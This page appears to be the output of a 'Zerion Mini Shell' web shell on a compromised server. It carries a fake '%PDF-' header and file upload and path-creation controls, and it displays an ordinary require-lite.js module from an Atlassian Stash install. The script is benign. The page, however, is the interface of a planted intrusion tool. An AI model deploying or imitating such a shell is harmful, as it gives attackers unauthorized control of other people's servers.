%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/985914/root/data/old/home/stash/atlassian-stash/static/util/
Upload File :
Create Path :
Current File : //proc/985914/root/data/old/home/stash/atlassian-stash/static/util/require-lite.js

(function(window) {

    'use strict';

    // Almond claims to be AMD compatible, but isn't.
    delete define.amd;

    function fnFactory(fn) {
        return function() {
            return fn;
        };
    }

    var oldRequire = require;
    var logged = false;
    require = function(modules, cb) {
        if (typeof modules === 'string' && typeof cb === 'function') {
            if (!logged) {
                logged = true;
                console.log('WARN: require() use with string an function has been deprecated in 2.11 and will throw an error in 3.0. Use an array of dependencies. (requiring '  + modules + ')');
            }
            modules = [modules];
        }
        //explicitly disallow use of Almond internal params.
        if (cb && typeof cb !== 'function') {
            throw new Error('Callback was not a function');
        }
        return oldRequire.call(window, modules, cb);
    };

    define('jquery', fnFactory(window.AJS ? window.AJS.$ : window.jQuery));
    define('underscore', fnFactory(window._));
    define('aui', fnFactory(window.AJS));

    window.requireLite = require; // Used for testing
    window.defineLite = define; // Used for testing
})(window || this);

Zerion Mini Shell 1.0